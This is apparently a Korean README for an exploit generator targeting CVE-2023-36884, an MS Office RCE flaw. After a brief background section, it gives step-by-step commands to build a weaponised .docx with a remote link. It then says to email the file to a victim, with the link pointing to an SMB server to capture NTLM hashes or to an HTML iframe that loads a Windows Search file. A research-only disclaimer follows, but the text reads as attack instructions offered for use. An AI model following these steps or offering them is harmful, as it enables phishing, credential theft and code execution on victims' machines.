CVE-2023-36884: 조작된 문서를 통한 MS Office HTML RCE

2023년 7월 11일, Microsoft는 적극적으로 악용되고 있는 여러 원격 코드 실행(RCE) 취약점을 해결하기 위한 패치를 발표했습니다. 이 조치를 통해 유럽 및 북미 지역의 조직을 대상으로 하는 위협 행위자 Storm-0978이 주도한 피싱 캠페인이 밝혀졌습니다. 이 캠페인의 핵심은 CVE-2023-36884로 지정된 제로데이 취약점으로, 공격자가 우크라이나 세계 회의(UWC)와 관련된 지정학적 미끼가 포함된 정교하게 조작된 Office Open XML(OOXML) 문서를 통해 Windows 검색 파일을 악용할 수 있게 했습니다. 초기에는 이 취약점을 완화하기 위한 해결 방법이 제안되었지만, Microsoft는 2023년 8월 8일에 Office Defense in Depth 업데이트를 발표하여 Windows 검색(*.search-ms) 파일을 통한 RCE 체인을 효과적으로 차단했습니다.

블로그 게시물

이 익스플로잇 스크립트는 vsociety에서의 CVE 분석을 위해 작성되었습니다.

사용법

PIP 패키지 설치:

pip install python-docx pywin32                                                         

example.html 파일을 생성하고 Python HTTP 웹 서버를 시작합니다:

New-Item -Path "example.html" -ItemType File
python -m http.server 8888

그런 다음 스크립트를 실행합니다:

python gen_docx_with_rtf_altchunk.py merged.docx autolinked.rtf http://localhost:8888/example.html

이제 생성된 파일을 이메일 등을 통해 피해자와 공유할 수 있습니다. 링크는 피해자의 NTLM 해시를 탈취하기 위한 SMB 서버나, 원본 악성코드처럼 Windows 검색 파일을 참조하는 iframe이 포함된 HTML 파일을 가리킬 수 있습니다. 추가 정보가 부족하여 정확한 익스플로잇 과정은 보여드릴 수 없습니다.

면책 조항

이 익스플로잇 스크립트는 연구 목적과 효과적인 방어 기술 개발을 위해서만 작성되었습니다. 악의적이거나 허가되지 않은 활동에 사용하기 위한 것이 아닙니다. 저자와 스크립트 소유자는 이 소프트웨어의 오용이나 손해에 대한 책임이나 의무를 부인합니다. 사용자는 이 소프트웨어를 책임감 있게, 그리고 관련 법률 및 규정에 따라 사용해야 합니다. 책임감 있게 사용하십시오.